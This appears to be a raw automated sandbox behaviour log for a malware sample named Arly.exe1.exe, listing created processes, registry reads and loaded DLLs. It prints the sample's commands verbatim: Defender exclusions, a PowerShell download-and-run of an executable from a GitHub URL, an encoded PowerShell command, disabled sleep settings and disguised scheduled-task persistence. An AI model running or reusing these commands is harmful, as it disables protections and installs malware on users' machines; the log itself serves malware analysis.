Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3400:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4cbgvu0.prf.ps1 Jump to behavior
Source: Arly.exe1.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\dmikhsv\file_scaricato.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Arly.exe1.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file_scaricato.exe, 0000000E.00000003.1476941823.00000000043B4000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1502276975.00000000043B4000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1477773753.0000000004395000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Arly.exe1.exe Virustotal: Detection: 22%
Source: Arly.exe1.exe ReversingLabs: Detection: 15%
Source: unknown Process created: C:\Users\user\Desktop\Arly.exe1.exe "C:\Users\user\Desktop\Arly.exe1.exe"
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\dmikhsv\file_scaricato.exe "C:\dmikhsv\file_scaricato.exe"
Source: C:\dmikhsv\file_scaricato.exe Process created: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe "C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe"
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA="
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'" Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\dmikhsv\file_scaricato.exe "C:\dmikhsv\file_scaricato.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'" Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Process created: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe "C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA="
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: version.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: wldp.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: profapi.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: webio.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: schannel.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: amsi.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: userenv.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: winhttp.dll Jump to behavior
